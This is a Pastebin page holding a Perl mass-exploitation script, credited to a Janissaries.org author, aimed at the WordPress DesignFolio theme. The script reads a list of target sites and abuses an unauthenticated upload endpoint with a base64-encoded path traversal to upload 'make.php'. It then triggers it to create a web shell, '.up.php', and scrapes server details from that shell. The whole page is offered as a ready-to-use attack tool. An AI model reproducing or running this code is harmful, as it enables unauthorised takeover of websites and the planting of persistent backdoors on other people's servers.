Jemb0t_IR3eng

Wordpress Theme DesignFolio File Upload Exploiter

Apr 17th, 2019
831
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.34 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. # Wordpress Theme DesignFolio File Upload Exploiter :)
  3. # C0ded by Mr_AnarShi-T (M-A)
  4. # (c) Janissaries.org
  5. # GreeT's : All Friend Specially Rab3oun :)
  6. use strict;
  7. use LWP::UserAgent;
  8. use Digest::MD5 qw(md5 md5_hex);
  9. use MIME::Base64;
  10. use IO::Socket;
  11. ##
  12. my $datestring = localtime();
  13. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
  14. sub randomagent {
  15. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  16. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  17. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  18. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  19. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  20. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  21. );
  22. my $random = $array[rand @array];
  23. return($random);
  24. }
  25.  
  26. my $useragent = randomagent();#Get a Random User Agent
  27. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });#Https websites accept
  28. $ua->cookie_jar({});# Cookies
  29. $ua->timeout(10);#Time out = 10 you can change it
  30. $ua->agent($useragent);#agent type
  31. flag();
  32. print "\n[+] Enter List Of Target : ";
  33. chomp (my $list=<>);
  34. my $file= "make.php";# Evil File
  35. print "[+] Started : $datestring\n";
  36. print "[+] Evil File : $file\n";
  37. open(my $arq,'<'.$list) || die($!);
  38. my @site = <$arq>;
  39. @site = grep { !/^$/ } @site;
  40. close($arq);
  41. print "[".($#site+1)."] URL to test \n\n";
  42. my $i;
  43. foreach my $web(@site){$i++;
  44. chomp($web);
  45. if($web !~ /^(http|https):\/\//){
  46. my @x = split (/\//,$web,2);
  47. my $host_name = $x[0];
  48. my $host_path = $x [1];
  49. my $addr = inet_ntoa((gethostbyname($host_name))[4]);
  50. my $digest = md5_hex($addr);
  51. my $dir = encode_base64('../../../../');
  52. print "[$i] $web \n";
  53. my $fuck = $ua->post("http://".$host_name."/".$host_path."/wp-content/themes/DesignFolio-Plus-master/admin/upload-file.php",
  54. Content_Type => 'form-data',
  55. Content => [ $digest => [$file] ,
  56. upload_path => $dir ]);
  57. if($fuck->content=~/success/) {
  58. print "[OK] Payload successfully executed\n";
  59. my $site = "http://".$host_name."/".$host_path;
  60. my $y = $ua->get ($site."/".$file."?cmd=up");
  61. if ($y->content=~/OK/) {
  62. print "[OK] Shell successfully Created \n";
  63. my $ee = $ua->get($site."/.up.php");
  64. print "\n[*] Website Info :\n";
  65. print "| ".$site."/.up.php\n";
  66. if ($ee->content=~/<\/title><b><br><br>(.*?)<br><\/b>/) {
  67. print "| $1 \n";
  68. if ($ee->content=~/<br><\/b><b><br><br>(.*?)<br><br><\/b><form action=/) {
  69. print "| $1\n\n";
  70. }
  71.  
  72.  
  73. }
  74. else { print "[No] Faild To Get Info \n\n";}
  75. }
  76. else { print "[No] Faild To Creat Shell \n\n";}
  77. }
  78. else { print "[No] Faild To Execute Payload \n\n";}
  79. }
  80. }
  81. sub flag {print "\n[+] Wordpress Theme DesignFolio File Upload Exploiter \n[*] Coder => M-A\n(c) Janissaries.org\n\n";
  82. }
Add Comment
Please, Sign In to add comment